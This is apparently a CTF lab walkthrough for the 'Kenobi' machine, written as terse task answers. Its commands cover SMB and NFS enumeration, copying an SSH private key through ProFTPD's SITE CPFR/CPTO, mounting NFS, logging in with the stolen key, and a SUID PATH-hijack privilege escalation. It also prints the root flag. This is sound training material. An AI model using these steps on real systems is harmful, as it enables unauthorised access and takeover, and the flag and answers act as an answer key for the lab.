Kenobi

1. Task 1
   1. No answer needed
   2. 7

Text

Description automatically generated

Text

Description automatically generated

1. Task 2
   1. *Nmap -p 445 –script=smb-enum-shares.nse, smb-enum-users.nse 10.10.173.70*
      1. 3
   2. *smbclient //10.10.173.70/anonymous*
      1. log.txt
   3. (while smbclient still open) *get log.txt*
      1. (Or) *smbget -R smb://10.10.173/70/anonymous*
   4. 21
   5. *Nmap -p 111 –script=nfs-ls,nfs-statfs,nfs-showmount 10.10.173.70*
      1. /var
2. Task 3
   1. *Netcat 10.10.173.70 21*
      1. 1.3.5
   2. *Searchsploit proftpd 1.3.*
      1. 4
   3. Steps to generate id\_rsa file
      1. *Nc 10.10.173.70 21*
         1. *SITE CPFR /home/Kenobi/.ssh/id\_rsa*
         2. *SITE CPTO /var/tmp/id\_rsa*
   4. Steps to mount
      1. *Mkdir /mnt/kenobiNFS*
      2. *Mount 10.10.173.70:/var /mnt/kenobiNFS*
      3. *Ls -la /mnt/kenobiNFS*
         1. *Graphical user interface, text

            Description automatically generated*
   5. Steps to use rsa file to ssh in
      1. *Cp /mnt/kenobiNFS/tmp/id\_rsa .*
      2. *Sudo chmod 600 id\_rsa*
      3. *Ssh -i id\_rsa* [*kenobi@10.10.173.70*](mailto:kenobi@10.10.173.70)
3. Task 4
   1. *Find / -perm -u=s -type f 2>/dev/null*
      1. /usr/bin/menu
   2. */usr/bin/menu*
      1. 3
   3. Steps to escalate privileges
      1. Cd /tmp/
      2. Echo /bin/sh > curl
      3. Chmod 777 curl
      4. Export PATH=/tmp:$PATH
      5. /usr/bin/menu
   4. *Cat /root/root.txt*
      1. *177b3cd8562289f37382721c28381f02*